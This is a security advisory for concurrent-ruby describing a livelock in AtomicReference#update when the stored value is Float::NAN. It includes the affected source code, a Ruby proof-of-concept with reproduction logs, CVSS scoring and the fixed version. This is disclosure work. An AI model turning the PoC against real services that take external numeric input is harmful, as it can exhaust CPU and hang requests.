Skip to content

Concurrent Ruby : `AtomicReference#update` livelocks when the stored value is `Float::NAN`

High severity GitHub Reviewed Published Jun 16, 2026 in ruby-concurrency/concurrent-ruby

Package

concurrent-ruby (RubyGems)

Affected versions

< 1.3.7

Patched versions

1.3.7

Description

Summary

Concurrent::AtomicReference#update can enter a permanent busy retry loop when the current value is Float::NAN.

The issue is caused by the interaction between:

  • AtomicReference#update, which retries until compare_and_set(old_value, new_value) succeeds.
  • Numeric compare_and_set, which checks old == old_value before attempting the underlying atomic swap.
  • Ruby NaN semantics, where Float::NAN == Float::NAN is always false.

As a result, once an AtomicReference contains Float::NAN, calling #update repeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in an AtomicReference, this can cause CPU exhaustion or permanent request/job hangs.

Version

Software: concurrent-ruby
Version: 1.3.6
Commit: 7a1b78941c081106c20a9ca0144ac73a48d254ab

Details

AtomicReference#update retries until compare_and_set returns true:

def update
  true until compare_and_set(old_value = get, new_value = yield(old_value))
  new_value
end

For numeric expected values, compare_and_set uses numeric equality before attempting the underlying atomic compare-and-set:

def compare_and_set(old_value, new_value)
  if old_value.kind_of? Numeric
    while true
      old = get

      return false unless old.kind_of? Numeric
      return false unless old == old_value

      result = _compare_and_set(old, new_value)
      return result if result
    end
  else
    _compare_and_set(old_value, new_value)
  end
end

When the stored value is Float::NAN, old_value = get returns NaN. The later comparison old == old_value is false because NaN is not equal to itself. compare_and_set therefore returns false every time. AtomicReference#update treats that as a failed concurrent update and retries forever.

This is reachable through the public Concurrent::AtomicReference API and does not require native extensions or undefined behavior.

PoC

#!/usr/bin/env ruby
# frozen_string_literal: true

require 'concurrent/atomic/atomic_reference'
require 'concurrent/version'

puts "ruby=#{RUBY_DESCRIPTION}"
puts "concurrent_ruby_version=#{Concurrent::VERSION}"
puts "poc=AtomicReference#update livelock when current value is Float::NAN"

ref = Concurrent::AtomicReference.new(Float::NAN)
attempts = 0
finished = false

worker = Thread.new do
  ref.update do |_old_value|
    attempts += 1
    0.0
  end
  finished = true
end

sleep 0.25

puts "nan_update_attempts_after_250ms=#{attempts}"
puts "nan_update_finished=#{finished}"
puts "nan_update_worker_alive=#{worker.alive?}"

if worker.alive? && !finished && attempts > 1000
  puts 'result=REPRODUCED busy retry loop; update did not complete'
else
  puts 'result=NOT_REPRODUCED'
end

worker.kill
worker.join

control = Concurrent::AtomicReference.new(1.0)
control_attempts = 0
control_result = control.update do |old_value|
  control_attempts += 1
  old_value + 1.0
end

puts "control_update_result=#{control_result.inspect}"
puts "control_update_attempts=#{control_attempts}"
puts "control_update_final_value=#{control.value.inspect}"

Log evidence

ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]
concurrent_ruby_version=1.3.6
poc=AtomicReference#update livelock when current value is Float::NAN
nan_update_attempts_after_250ms=1926016
nan_update_finished=false
nan_update_worker_alive=true
result=REPRODUCED busy retry loop; update did not complete
control_update_result=2.0
control_update_attempts=1
control_update_final_value=2.0

Impact

This is an application-level denial of service issue. If an application stores externally derived numeric data in a Concurrent::AtomicReference, an attacker or faulty upstream data source may be able to cause the stored value to become Float::NAN. Any later call to AtomicReference#update on that reference will spin indefinitely, repeatedly executing the update block and consuming CPU.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

References

@eregon eregon published to ruby-concurrency/concurrent-ruby Jun 16, 2026
Published to the GitHub Advisory Database Jun 19, 2026
Reviewed Jun 19, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(19th percentile)

Weaknesses

Loop with Unreachable Exit Condition ('Infinite Loop')

The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop. Learn more on MITRE.

CVE ID

CVE-2026-54904

GHSA ID

GHSA-h8w8-99g7-qmvj

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.